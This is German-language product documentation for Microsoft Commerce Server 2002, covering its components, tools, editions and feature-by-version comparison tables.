Microsoft Commerce Server 2002 StandardEdition

Commerce Server-Bannergrafik

Microsoft Commerce Server 2002 Standard Edition

  • Commerce Server-Systeme
  • Commerce Server-Lernprogramme
  • Aktualisierungen der Commerce Server-Dokumentation
  • Microsoft-Produktsupport
  • Commerce Server-Support
  • Commerce Server 2002-ISV-Partner
  • Website für Commerce Server Lösungssites
  • Website für Microsoft-Sicherheit
  • Website für Microsoft-Eingabehilfen
  • Whitepapers
  • Feedback
Copyright © 1996–2002 Microsoft Corporation.
Alle Rechte vorbehalten.


Erste Schritte

Microsoft Commerce Server 2002 bietet eine Reihe von Tools für Siteentwickler, Systemadministratoren und Businessmanager zur Entwicklung, Bereitstellung und Verwaltung von Commerceanwendungen für das Web.

In der folgenden Tabelle können Sie unmittelbar auf wichtige Hilfethemen von Commerce Server 2002 zugreifen.

Thema | Abschnitt
Installieren, Aktualisieren und Bereitstellen von Commerce Server | Installieren von Commerce Server 2002 Aktualisieren von einer früheren Version Entpacken einer Site Bereitstellen der Site Replizieren des Kataloginhalts Gewährleisten einer hohen Verfügbarkeit.
Die Commerce Server-Architektur | Commerce Server-Architektur Business Desk-Architektur Commerce Server .NET Application Framework (englisches Thema) Pipeline Basics (englisches Thema) Planen der Sitearchitektur
Planen und Entwerfen neuer Sites | Lösungssites Planen der Commerce Server-Installation Internationale Transaktionen
Entwickeln von Anwendungen | Entwicklungstools Software Development Kit (englisches Thema) Programmer's Reference (englisches Thema) Commerce Server .NET Application Framework (englisches Thema) International Retail Site (englisches Thema) Developing an International Site (englisches Thema) Integrating with BizTalk Server (englisches Thema) Integrating Custom Resources (englisches Thema) Building Business Desk Modules (englisches Thema) Problembehandlung bei Anwendungen
Sicherheit | Tipps zur Sicherheit Wichtige Sicherheitshinweise Entwickeln einer sicheren Site Bereitstellen einer sicheren Site Sichern der Datenbanken
Authentifizierung | Empfohlene Vorgehensweisen für die Authentifizierung Integrieren mit Passport Exchange 2000 Outlook Web Access (OWA)-Standardauthentifizierung Core Objects (englisches Thema) Code to Retrieve Login Credentials (englisches Thema) "Login.asp"-Code für die Retail-Lösungssite "Login.asp"-Code für die Supplier-Lösungssite AuthManager Object (englisches Thema)
Verwalten von Sites, Anwendungen und Ressourcen | Systemadministrator-Tools Verwalten von Commerce-Sites Verwalten von Commerce-Anwendungen und Webservern Verwalten von Commerce-Ressourcen Erstellen von Skripts für DTS-Tasks
Verwalten von Datenbanken | Datenbanken Verwalten der Verwaltungsdatenbank Verwalten von Datenquellen in Profilressourcen
Produktkatalogsystem | Produktkatalogsystem Katalogkonzepte Empfohlene Vorgehensweisen für Kataloge Importieren einer XML-Katalogdatei Erstellen einer Katalogdefinition Erstellen eines Katalogs Preisberechnung für ein Produkt in einem Basiskatalog Product Catalog Objects (englisches Thema) Catalog XML Structures (englisches Thema) Integrating a Third-Party Product Catalog (englisches Thema) Replizieren des Kataloginhalts
Profilsystem | Profilsystem Profilkonzepte Profiling System Objects (englisches Thema) Profiles Schema (englisches Thema) Profiling System and OLE DB Provider (englisches Thema) Profile XML Structures (englisches Thema) Verwalten von Datenquellen in Profilressourcen Verwalten von Profildefinitionen in Profilressourcen Erstellen einer Profildefinition mit zwei Datenquellen Business Desk-Profile
Geschäftsanalysesystem | Geschäftsanalysesystem Analysis/Reporting Schema (englisches Thema) Analysis/Reporting XML Structures (englisches Thema) Business Desk-Analyse
Data Warehouse | Data Warehouse Data Warehouse-Konzepte Data Warehouse, Analysis, and OLE DB Provider (englisches Thema) Mehrere Sites und ein Data Warehouse Data Warehouse-Import-Assistent Importieren von Daten in Data Warehouse Erstellen von Skripts für DTS-Tasks
Zielgruppenadressierungssystem | Zielgruppenadressierungssystem Konzepte für Zielgruppenadressierung und Personalisierung Business Desk-Kampagnen ExpressionBuilder (englisches Thema) Expression XML Structures (englisches Thema) Targeting Objects (englisches Thema) Extending the Content Selection Framework (englisches Thema)
Kampagnen | Kampagnen Kampagnenkonzepte Erstellen einer Marketingkampagne Erstellen einer Anzeige
Preisnachlässe | Preisnachlasskonzepte Erstellen eines Preisnachlasses Preisnachlassszenarien
Direktsendung | Commerce Server Direct Mailer Direktsendungskonzepte Ausführen von Direct Mailer Erstellen einer Direktsendung Erstellen einer Adressenliste Direct Mailer Pipeline (englisches Thema)
Bestellungen | Bestellverwaltungskonzepte Suchen, Anzeigen und Sortieren von Bestellungen
Geschäftsprozesspipelines | Pipelinekonzepte Working with Pipelines (englisches Thema) Building Pipeline Components (englisches Thema) Pipeline Objects (englisches Thema) Pipeline Component Reference (englisches Thema)


Einführung in CommerceServer2002

Feedback zu dieser Seite senden Commerce Server 2002

Einführung in Commerce Server 2002

Commerce Server ist eine umfassende E-Business-Plattform, die Features für verschiedene Benutzergruppen, wie Entwickler, Systemadministratoren und Businessmanager, bietet. Darüber hinaus ist Commerce Server in drei Ausführungen mit unterschiedlichen Features und Skalierbarkeitsoptionen verfügbar.

Mit Commerce Server können Sie skalierbare und äußerst zuverlässige Anwendungen für Business-To-Consumer (B2C)- und Business-To-Business (B2B)-Sites erstellen.

Commerce Server-Komponenten

Commerce Server-Komponenten werden in fünf Systemen zusammengefasst. Diese Systeme bieten die entscheidende E-Commerce-Infrastruktur, die Voraussetzung für den Aufbau eines gut funktionierenden Onlinegeschäfts ist.

  • Produktkatalogsystem. Verwaltet Millionen von Produkten, erstellt Kataloge in mehreren Sprachen und Währungen und erleichtert den Endbenutzern die Suche nach Produkten sowie Dienstleistungen.
  • Profilsystem. Profiliert und verwaltet Kunden sowie Handelspartner für die Siteverwendungsauthentifizierung, erweiterte Zielgruppenadressierung und Personalisierung.
  • Geschäftsanalysesystem. Analysiert die Effektivität der Site, indem Commerce Server-Berichte ausgeführt oder eigene, benutzerdefinierte Berichte erstellt werden.
  • Zielgruppenadressierungs-System. Personalisiert das Kaufverhalten mit One-To-One-Marketing und Zielgruppen-Verkaufsförderung, wodurch der Bestellvorgang für die Kunden bequemer gemacht wird und individuell abgestimmte Produkte angeboten werden können.
  • Geschäftsabwicklungspipeline-System. Damit können Sie Ihre Bestellvorgänge und Verkaufsförderungsmaßnahmen entsprechend den derzeitigen Anforderungen gestalten und später an Entwicklungen und Veränderungen Ihres Unternehmens anpassen.

Commerce Server-Tools

Für die Entwicklung und Verwaltung einer Commerce Server-Site verwenden Sie die im Folgenden aufgeführten Tools.

  • Commerce Server .NET Application Framework. Mit diesem Framework können Sie .NET-basierte Commerce Server-Anwendungen mithilfe der neuen Features von .NET Framework erstellen. Das .NET Application Framework von Commerce Server enthält zwei neue Ebenen auf der Commerce Server-Plattform: die Basisklassenbibliotheksebene und die Common Language Runtime-Interoperabilitätsebene. Mithilfe dieser Ebenen ist ASP.NET-Code in der Lage, Commerce Server-Dienste und -Systeme auszuführen. Wenn Sie Visual Studio .NET verwenden, können Sie auf Commerce Server-Features und Tools zugreifen, um Commerce Server-Anwendungen zu erstellen.
  • Lösungssites. Dabei handelt es sich um Referenzsites für Entwickler, die eine integrierte Gruppe von Commerce Server-Features bereitstellen. Die Lösungssites ermöglichen die Ausgabe in mehreren Sprachen und Währungen, Merchandising, Kataloganzeige, Kundendienst sowie Bestellungserfassung und -bestätigung.

    Dank der umfassenden E-Commerce-Funktionalität der Lösungssites können Sie diese als Basis für die Entwicklung eigener Websites verwenden und anschließend auch Funktionen hinzufügen, die für Ihr Unternehmen spezifisch sind.

  • Commerce Server Site Packager. Ein Bereitstellungstool, mit dem Sie Ihre Site und deren Anwendungen und Ressourcen in eine einzige Datei packen können. Diese Datei können Sie dann in eine andere Umgebung verschieben. Mit diesem Tool packen Sie Ihre Commerce Server-Site (einschließlich der Einstellungen der IIS-Metabasis), das Dateisystem, Ressourcen der Verwaltungsdatenbank sowie die SQL Server-Datenbanken in eine einzige Datei. Außerdem können Sie damit die Commerce Server-Site (bzw. Teile davon) auf anderen Computern entpacken.
  • Commerce Server Business Desk. Ein erweiterbares Tool, mit dem Businessmanager ihre Websites verwalten und analysieren. Mit den Business Desk-Features lassen sich beispielsweise Preisinformationen in Ihren Katalogen aktualisieren und neue Anzeigen gezielt auf bestimmte Benutzer schalten. Anschließend können Sie Berichte ausführen, die den Einfluss dieser Änderungen auf die Produktivität der Site messen.

    Business Desk-Anwendungen sind nur in Lösungssitepaketen verfügbar. Nach der Installation von Commerce Server müssen Sie eine Lösungssite entpacken, mit deren Hilfe sich eine Business Desk-Anwendung installieren lässt.

Siehe auch

Versionen von Commerce Server 2002

Commerce Server-Features im Überblick

Commerce Server-Architektur

Commerce Server-Konzepte

International Retail Site (englisches Thema)


CommerceServer-Features im Überblick

Feedback zu dieser Seite senden Commerce Server 2002

Commerce Server-Features im Überblick

Mit den aufeinander abgestimmten Commerce Server 2002-Features können Sie Verkaufsförderungsmaßnahmen durchführen, Kataloge anzeigen, Kunden betreuen und Bestellungen verwalten sowie bestätigen.

Die folgende Tabelle gibt Ihnen einen Überblick über die Commerce Server-Features:

Commerce Server-Feature Beschreibung
Produktkatalogsystem
  • Erstellen und Aktualisieren von Katalogen der angebotenen Produkte.
  • Erstellen mehrsprachiger Kataloge.
  • Erstellen von Katalogen in mehreren Währungen.
  • Importieren von Produktkatalogen aus anderen Datenquellen im XML- oder CSV-Format.
  • Exportieren von Katalogen im XML-Format.
  • Exportieren von Änderungen, die ab einem bestimmten Datum vorgenommen wurden, in einen Katalog.
  • Hinzufügen integrierter Suchfunktionen, über die Benutzer leicht das Gesuchte finden können:
    • Kategoriensuche. Ermöglicht die Suche nach Produktkategorien.
    • Freitextsuche. Findet Produkte über den vollständigen oder teilweisen Namen oder eine Eigenschaft.
    • Eigenschaftsbasierte Suche. Findet Produkte basierend auf einem Eigenschaftswert, z. B. "Preis < 10 €".
    • Drilldownsuche. Eingrenzen der Suchanforderung, bis das gewünschte Produkt gefunden wird.
  • Erstellen virtueller Kataloge mit Sonderpreisen für bestimmte Benutzergruppen.
  • Festlegen von Preisnachlässen für bestimmte Produkte.
  • Identifizieren erfolgreicher Produkte durch Commerce Server-Berichte.
  • Austauschen von Katalogdaten mit den Lieferanten mithilfe von Microsoft BizTalk Server 2000.
Profilsystem
  • Verwalten mehrerer Millionen Benutzer und Organisationen.
  • Ermöglichen Sie es den Benutzern, ihre eigenen Profilinformationen zu verwalten und den Bestellstatus zu verfolgen.
  • Erstellen von Profilen für beliebige unternehmensrelevante Größen, z. B. Benutzer und Organisationen.
  • Festlegen, welche Informationen Sie über Benutzer sammeln möchten, die Ihre Site besuchen.
  • Definieren Sie, welche Informationen, z. B. virtuelle Kataloge, bestimmten Benutzern angezeigt werden.
  • Erstellen von Zielausdrücken, um Inhalte Benutzern zuzuweisen.
  • Erstellen von Werbe-, Preisnachlass- und Direktsendungskampagnen, um bestimmte Benutzergruppen anzusprechen.
Geschäftsanalysesystem
  • Importieren Sie große Datenmengen zur Siteverwendung von verschiedenen Datenquellen in das Commerce Server-Data Warehouse, und verwalten Sie diese Daten.
  • Analysiert die Effektivität der Site, indem Commerce Server-Berichte.
Zielgruppenadressierungs-System
  • Personalisieren Sie das Einkaufserlebnis mit gezielten Produktangeboten.
  • Liefern Sie die optimalen Inhalte für bestimmte Benutzer unter bestimmten Bedingungen.
  • Erstellen und Verwalten von personalisierten, gezielten Preisnachlässen sowie von Direktmarketing- und Werbekampagnen.
  • .
  • Sie können Anzeigen oder Preisnachlässe auf Benutzer mit einem bestimmten Profil abstimmen. Sie können z. B. mit Anzeigen gezielt Benutzerinnen ansprechen, die Ihre Site dreimal pro Woche besuchen und drei oder mehr Produkte gekauft haben.
  • Erstellen und planen Sie Kampagnen für Kunden, die in derselben Branche miteinander konkurrieren. Die konkurrierenden Anzeigen werden nie auf derselben Seite angezeigt.
  • Berechnen Sie die Anzeigenpreise nach der Anzahl der Anzeigenanforderungen oder -klicks, die Ihre Kunden erhalten möchten.
  • Bestimmen Sie die Anzeigenpreise je nachdem, auf welcher Seite ein Kunde eine Anzeige schalten möchte.
Geschäftsabwicklungspipeline-System
  • Passen Sie den Bestell-, Zielgruppenadressierungs- und Merchandising-Prozess an Ihre Bedürfnisse an.
  • Definieren Sie die Phasen eines Geschäftsprozesses, und verknüpfen Sie diese miteinander.

Siehe auch

Versionen von Commerce Server 2002

Featurevergleich zwischen den Versionen von Commerce Server

Commerce Server-Architektur

Commerce Server-Konzepte

Commerce Server .NET Application Framework

International Retail Site (englisches Thema)


Versionen von CommerceServer2002

Feedback zu dieser Seite senden Commerce Server 2002

Versionen von Commerce Server 2002

Von Microsoft Commerce Server 2002 sind zurzeit die folgenden Versionen verfügbar:

  • Commerce Server 2002 Standard Edition

    Standard Edition ist speziell für die Entwicklung und Verwaltung von Websites mittlerer Größen geeignet. Standard Edition lässt sich wie folgt skalieren:

    • Zwei Prozessoren.
    • Zwei Webserver pro Anwendung. Auf einem einzelnen IIS-Webserver werden bis zu 10 Anwendungen unterstützt.
    • Zwei Commerce Server-Anwendungen pro Site: eine Business Desk-Anwendung und eine Nicht-Business-Desk-Anwendung. Beispielsweise können Sie zunächst die Retail-Lösungssite oder eine Nicht-Commerce-Anwendung und dann die Business Desk-Anwendung installieren.
    • Zehn Sites pro Data Warehouse.
    • Zehn Sites pro Profildatenbank.

    Standard Edition bietet grundlegende Analysefeatures, anhand derer Sie metrische Daten zu Webnutzung und Produktverkauf analysieren können.

  • Commerce Server 2002 Enterprise Edition

    Enterprise Edition ist speziell für die Entwicklung und Verwaltung von großen Websites bzw. Websites mit einem hohen Verkehrsaufkommen geeignet. Enterprise Edition lässt sich wie folgt skalieren:

    • 32 Prozessoren
    • So viele Webserver und Commerce Server-Anwendungen, wie von der Hardware unterstützt werden. Auf einem einzelnen IIS-Webserver werden bis zu 10 Anwendungen unterstützt. Diese Anwendungen können in einer einzelnen Site enthalten oder über mehrere Sites verteilt sein.
    • Zehn Sites pro Data Warehouse.
    • Zehn Sites pro Profildatenbank.

    Darüber hinaus ist Enterprise Edition für Sites geeignet, die erweiterte Analysefunktionen benötigen. So haben Sie damit die Möglichkeit, Benutzerprofildaten und Marketingkampagnen zu analysieren und anhand dieser Ergebnisse den Inhalt Ihrer Site auf die Benutzer abzustimmen. Dank der erweiterten Analysefeatures können Sie den Benutzern Ihrer Site außerdem Empfehlungen in Echtzeit geben.

  • Commerce Server 2002 Developer Edition

    Developer Edition ist die E-Commerce-Lösung für die Entwicklung großer, mehrsprachiger Sites mit hoher Verfügbarkeit. Die Developer Edition enthält dieselben Features wie die Enterprise Edition, kann jedoch nicht in einer Produktionsumgebung eingesetzt werden und ist auf vier Prozessoren beschränkt.

    Die Developer Edition enthält neben einer umfangreichen Dokumentation für Entwickler zahlreiche praktische Beispiele.

Verwenden einer Kombination aus Standard Edition und Enterprise Edition

Unter bestimmten Umständen besteht die Möglichkeit, eine Umgebung einzurichten, in der Commerce Server Standard Edition, Enterprise Edition und Developer Edition gemeinsam zum Einsatz kommen. Diese Konfiguration kann beispielsweise vorteilhaft sein, wenn Sie zunächst Developer Edition kaufen, dann noch Standard Edition erwerben und später zu der Erkenntnis gelangen, dass Sie auch noch die zusätzlichen Funktionen von Enterprise Edition benötigen.

Nachstehend sind die unterstützten Konfigurationsszenarios aufgeführt, in denen mehrere verschiedene Commerce Server-Versionen verwendet werden. Darüber hinaus werden keine weiteren Konfigurationen unterstützt.

  • Standard Edition auf einem oder zwei Webservern für eine Commerce Server-Anwendung und Standard Edition für das Data Warehouse.
  • Standard Edition auf einem oder zwei Webservern für eine Commerce Server-Anwendung und Enterprise Edition für das Data Warehouse.
  • Enterprise Edition auf Webservern und Enterprise Edition für das Data Warehouse.
  • Developer Edition auf Webservern und Standard Edition oder Enterprise Edition für das Data Warehouse.
  • Developer Edition auf Webservern und Developer Edition für das Data Warehouse. Diese Konfiguration ist für Produktionsumgebungen nicht geeignet.

Standard Edition- und Enterprise Edition-Sites können nicht auf dasselbe Data Warehouse zugreifen.

Aktualisieren auf Commerce Server 2002, Standard Edition

Informationen zum Aktualisieren von Commerce Server 2000 auf Commerce Server 2002 Standard Edition finden Sie unter Aktualisieren von einer früheren Version.

Commerce Server 2002 Standard Edition enthält verschiedene Tools, mit denen Sie Ihre Installation entsprechend den vorhandenen Ressourcen und den aktualisierten Komponenten aktualisieren können.

Siehe auch

Gemeinsamer Zugriff auf Ressourcen von verschiedenen Sites

Featurevergleich zwischen den Versionen von Commerce Server


Featurevergleich zwischen den Versionen von CommerceServer

Feedback zu dieser Seite senden Commerce Server 2002

Featurevergleich zwischen den Versionen von Commerce Server

In diesem Thema werden die von Microsoft Commerce Server 2000, Commerce Server 2002 Enterprise Edition und Commerce Server 2002 Standard Edition unterstützten Features zusammengefasst. Um einen besseren Vergleich zu ermöglichen, wird auch auf Commerce Server 2000 eingegangen.

Hinweis

  • Commerce Server 2002 Developer Edition enthält dieselben Features wie Enterprise Edition. Developer Edition kann jedoch nicht in einer Produktionsumgebung verwendet werden und ist darüber hinaus auf vier Prozessoren beschränkt.

Weitere Informationen zu den .NET-Kompatibilitätsfeatures in Commerce Server 2002 finden Sie unter Commerce Server .NET Application Framework (englisches Thema). Informationen zur internationalen Retail-Site finden Sie unter International Retail Site (englisches Thema).

In diesem Thema werden die folgenden Features behandelt:

  • Features für hohe Verfügbarkeit
  • Authentifizierungsfeatures
  • Verwaltungsfeatures
  • Business Desk-Features
  • Business Analytics-Features
  • Data Warehouse-Features
  • Produktkatalogsystem-Features
  • Profilsystem-Features
  • Zielgruppenadressierungs-Systemfeatures

Features für hohe Verfügbarkeit

In dieser Tabelle werden die Commerce Server-Versionen hinsichtlich der unterstützten Features für hohe Verfügbarkeit verglichen.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Sehr hohe Verfügbarkeit | Ja | Ja | Nein
Direktsendung unterstützt Windows Clustering-Cluster | Ja | Ja | Nein
Direct Mailer unterstützt Failover für alle Clusterknoten | Ja | Ja | Nein
Direct Mailer kann auf 2 Knoten unter Windows 2000 Advanced Server installiert werden | Ja | Ja | Nein
Direct Mailer kann auf 2, 3 und 4 Knoten unter Windows 2000 Datacenter Server installiert werden | Ja | Ja | Nein
Laufzeitkomponenten halten dem Failover von abhängigen Windows-Diensten, Anwendungsservern oder zu Grunde liegenden Datenspeichern stand | Ja | Ja | Nein
Bestellwarteschlangenbeispiel im SDK, das die Offline-Verarbeitung von Bestellungen (beste Vorgehensweise für hohe Verfügbarkeit) demonstriert | Ja | Ja | Nein

Authentifizierungsfeatures

In dieser Tabelle werden die Commerce Server-Versionen hinsichtlich der unterstützten Authentifizierungsfeatures verglichen.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Exchange 2000 Outlook Web Access (OWA)-Standardauthentifizierung | Ja | Ja | Nein
Ermöglicht das Verschlüsseln von alten Profilcookies | Ja | Ja | Nein
Verschlüsselung mit einem dynamischen Schlüssel | Ja | Ja | Nein
Verwaltet den Besuchsverlauf im Warehouse | Ja | Ja | Ja
Einkaufen ohne Cookies | Ja | Ja | Ja
Bietet granuläre Zugriffssteuerung mithilfe von Zugriffssteuerungslisten (ACLs) | Ja | Ja | Ja
Unterstützt benutzerdefinierte Anmeldeseiten zum Abruf von Windows-Anmeldeinformationen | Ja | Ja | Ja
Korrektur der Groß-/Kleinschreibung in URLs | Ja | Ja | Ja
Webfarm-Umgebungen | Ja | Ja | Ja
ASP-Spezifikationen | Ja | Ja | Ja
Bietet die Möglichkeit der Verwendung von Active Directory und/oder SQL Server zum Speichern von Benutzerprofilen | Ja | Ja | Ja
Steuerung der Zugriffsebene | Ja | Ja | Ja
Benutzeranmeldeinformationen akzeptiert | Ja | Ja | Ja

Verwaltungsfeatures

In dieser Tabelle werden die Commerce Server-Versionen hinsichtlich der unterstützten Verwaltungsfeatures verglichen.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Unterstützt das Entpacken einer Site nach Remoteservern | Ja | Ja | Nein
Ermöglicht das Speichern von Host-Headern und mehreren Identitäten in der Verwaltungsdatenbank für die Website | Ja | Ja | Nein
Integration mit Content Management Server 2001 und neueren Versionen | Ja | Ja | Nein
Integration mit BizTalk Server 2000 und neueren Versionen | Ja | Ja | Ja

Business Desk-Features

In dieser Tabelle werden die Commerce Server-Versionen hinsichtlich der unterstützten Business Desk-Features verglichen.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Stylesheets für unterschiedliche Themen, einschließlich hohen Kontrasts für Eingabehilfen | Ja | Ja | Nein
Zugriffssteuerung für einzelne Business Desk-Module | Ja | Ja | Ja
Sicherheitseinstellungen für Business Desk-Tasks | Ja | Ja | Nein
Sicherheitseinstellungen für die Verwaltung von Katalogen | Ja | Ja | Nein
Sicherheitseinstellungen für die Bearbeitung von Katalogeigenschaften | Ja | Ja | Nein
Sicherheitseinstellungen für die Verwaltung von Katalogkategorien | Ja | Ja | Nein
Sicherheitseinstellungen für die Verwaltung von Profileigenschaften | Ja | Ja | Nein

Business Analytics-Features

In dieser Tabelle werden die Commerce Server-Versionen hinsichtlich der unterstützten Business Analytics-Features verglichen.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Eigenständiges Geschäftsanalysesystem | Ja | Ja | Nein
Data Warehouse-Import-Assistent | Ja | Ja | Nein
Remotezugriff auf OLAP-Cubes (erfordert SQL Server 2000 Enterprise Edition) | Ja | Ja | Nein
Erstellung neuer Berichte unterstützt | Ja (mit Business Desk) | Nein | Ja
Benutzerprofilberichte | Ja | Nein | Ja
Marketingkampagnenberichte | Ja | Nein | Ja
Empfehlungen in Echtzeit | Ja | Nein | Ja
Export von Berichten in Listenform an das Profil- bzw. Zielgruppenadressierungs-System | Ja | Nein | Ja
Berichte von Gruppen veröffentlicht | Ja | Ja | Nein
Drillthroughfunktionen für Berichte | Ja | Ja | Nein
Erstellen von domänenübergreifenden Berichten | Ja | Ja | Nein
Vorhersagemodelle zum Analysieren des Benutzerverhaltens | Ja | Nein | Ja
Segmentmodelle zum Analysieren von Benutzersegmenten | Ja | Nein | Ja
Affinitätslisten | Ja | Nein | Nein
Exportieren von Segmentmodellen als Liste | Ja | Nein | Ja

Data Warehouse-Features

In dieser Tabelle werden die Commerce Server-Versionen hinsichtlich der unterstützten Data Warehouse-Features verglichen.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Berücksichtigung des Data Warehouse-Schemadiagramms | Ja | Nein | Ja
Festlegen der Parameter für Neustart der Protokolldatei | Ja | Ja | Nein
Festlegen der Parameter für erneuten Versuch des Verbindungsaufbaus für alle DTS-Tasks | Ja | Ja | Nein
Löschen importierter Protokolle im Rotationsverfahren | Ja | Ja | Nein
Ausführen eines DTS-Tasks für alle Sites in einem Data Warehouse (für relevante DTS-Tasks) | Ja | Ja | Nein
Ausführen eines DTS-Tasks für eine einzelne Site in einem Data Warehouse | Ja | Ja | Ja
Automatische Neuerstellung von Vorhersage-/Segmentmodellen | Ja | Nein | Nein
Skriptunterstützung für DTS-Tasks | Ja | Nein | Nein
Planen von DTS-Paketen | Ja | Ja | Ja
Anzeigen der Fortschrittdaten für Import | Ja | Ja | Nein
Verwendung von Protokolldateimasken | Ja | Ja | Nein
Importieren von Benutzerdaten ohne Cookies | Ja | Ja | Nein
Importieren von Unicode-Zeichen | Ja | Ja | Nein
Importieren von UTF-8- und Unicode-Protokolldateien | Ja | Ja | Nein

Produktkatalogsystem-Features

In dieser Tabelle werden die Commerce Server-Versionen hinsichtlich der unterstützten Produktkatalogsystem-Features verglichen.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
*Skalierung für 10.000 Kataloge (Getesteter Höchstwert) | Ja | Ja | Nein
*Skalierung für 5 Millionen Produkte pro Katalog (Getesteter Höchstwert) | Ja | Ja | Nein
Preisberechnung in mehreren Währungen | Ja | Ja | Nein
Mehrsprachige Kataloge | Ja | Ja | Nein
Virtuelle Kataloge | Ja | Ja | Nein
Benutzerdefinierte Kataloge | Nein (ersetzt durch virtuelle Kataloge) | Nein (ersetzt durch virtuelle Kataloge) | Ja
Katalogsätze | Ja | Ja | Ja
Aggregierter Inhalt von mehreren Katalogen | Ja | Ja | Nein
Überprüfen des Inhalts einer XML-Katalogdatei, ohne sie zu importieren | Ja | Ja | Nein
Importieren und Exportieren von Löschvorgängen für Katalogartikel | Ja | Ja | Nein
Exportieren von Änderungen, die ab einem bestimmten Datum vorgenommen wurden, in einen Katalog | Ja | Ja | Nein
Erstellen von Beziehungen zwischen Produkten und zwischen Katalogen | Ja | Ja | Nein
Austauschen von Katalogdaten mit Lieferanten mithilfe von Microsoft BizTalk Server 2000 oder höher | Ja | Ja | Ja
Benutzerdefinierte Katalogattribute und benutzerdefinierte Eigenschaftsattribute | Ja | Ja | Nein
Suchen innerhalb einer Kategorie | Ja | Ja | Nein
SQL Text-Datentypen für Produkte (keine Begrenzung von 8 KB/Zeile) | Ja | Ja | Nein
Durchführen von Abfragen möglich, die mit externen Tabellen verbunden sind | Ja | Ja | Nein

Die Konfiguration von 10.000 Katalogen mit 5 Millionen Produkten je Katalog wurde nicht getestet.

Profilsystem-Features

In dieser Tabelle werden die Commerce Server-Versionen hinsichtlich der unterstützten Profilsystem-Features verglichen.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Skalierung auf 10 Millionen verschiedene Benutzer in Active Directory | Ja | Ja | Nein
Skalierung auf 25 Millionen verschiedene Benutzer in SQL Server | Ja | Ja | Nein
Oberfläche zum Entwerfen von Profildefinitionen | Ja | Ja | Ja
Profilbearbeitung | Ja | Ja | Ja (beschränkt auf Benutzer und Organisationen)
Bearbeiten von Sitebegriffen | Ja | Ja | Ja
Verwaltung von Active Directory-Gruppen mithilfe von Business Desk | Ja | Ja | Nein
Mehrwertige Profile | Ja | Ja | Nein
Mehrwertige Sitebegriffe | Ja | Ja | Nein
Bearbeiten eingebetteter Profile | Ja | Ja | Nein
Bearbeiten allgemeiner Profile | Ja | Ja | Nein
Importieren und Exportieren von Profilschemas | Ja | Ja | Nein

Zielgruppenadressierungs-Systemfeatures

In dieser Tabelle werden die Commerce Server-Versionen hinsichtlich der unterstützten Zielgruppenadressierungs-Systemfeatures verglichen.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Mehrsprachige Anzeigen und Preisnachlässe | Ja | Ja | Nein
Anwenden mehrerer Preisnachlässe auf einen Artikel oder eine Bestellung und Festlegen der Reihenfolge, in der Nachlässe angewendet werden | Ja | Ja | Nein
Anwenden von festen und prozentualen Preisnachlässen auf einen Artikel oder eine Bestellung und Festlegen der Reihenfolge, in der Nachlässe angewendet werden | Ja | Ja | Nein
Kennzeichnung, ob auf einen Artikel ein Preisnachlass angewendet werden kann | Ja | Ja | Nein
Möglichkeit der Bereitstellung von Direct Mailer auf einem Server, auf dem nicht SQL Server installiert ist | Ja | Ja | Nein
Möglichkeit der Bereitstellung von Direct Mailer als Clusterressource mit hoher Verfügbarkeit unter Nutzung von Windows Clustering | Ja | Ja | Nein
Direct Mailer hält kurzzeitigen Ausfällen stand | Ja | Ja | Nein
Integrierte Authentifizierung für Direct Mailer in SQL Server | Ja | Ja | Nein

Siehe auch

Commerce Server .NET Application Framework

International Retail Site (englisches Thema)


Entwicklungstools

Mit den folgenden Entwicklungstools von Commerce Server 2002 können Siteentwickler mit geringem zeitlichen Aufwand Sites entwickeln, anpassen und anschließend an Kunden übertragen:

  • Lösungssites
  • Internationale Retail-Site: Eine .NET-basierte Site
  • Commerce Server .NET Application Framework
  • Commerce Server-Entwicklerportal
  • Commerce Server SDK
  • Dokumentation für Entwickler
  • Commerce Server 2000 Resource Kit
  • Whitepapers
  • Knowledge Base-Artikel

Lösungssites

Diese Lösungssites sind Entwicklungsreferenzsites, die eine integrierte Gruppe von Commerce Server-Features bereitstellen. Die Lösungssites ermöglichen Merchandising, Kataloganzeige, Kundendienst sowie Bestellungserfassung und -bestätigung.

Dank der umfassenden E-Commerce-Funktionalität der Lösungssites können Sie diese als Basis für die Entwicklung eigener Websites verwenden und anschließend auch Funktionen hinzufügen, die für Ihr Unternehmen spezifisch sind.

Die Lösungssites enthalten außerdem Business Desk-Anwendungen. Zum Starten einer Business Desk-Anwendung müssen Sie zunächst eine Site entpacken.

Commerce Server 2002 enthält folgende Lösungssites:

  • Leere Site. Verwenden Sie diese Lösungssite als Ausgangspunkt bei der Erstellung Ihrer eigenen, benutzerdefinierten Site. Diese Lösungssite enthält alle Commerce Server 2002-Ressourcen. Die leere Site wird mit Commerce Server 2002 installiert.
  • Retail-Site. Verwenden Sie diese Lösungssite als Ausgangspunkt für den Aufbau einer Business-To-Consumer-Site. Enthalten sind Business-To-Consumer-Funktionen für Personalisierung, Merchandising, Katalogsuche, Kundendienst und Geschäftsanalysen. Dazu zählt auch der Kundenservice, der es Benutzern ermöglicht, ihre eigenen Profilinformationen zu verwalten und den Bestellstatus anzuzeigen. Die Retail-Site steht unter http://go.microsoft.com/fwlink/?linkid=6491 zur Verfügung.
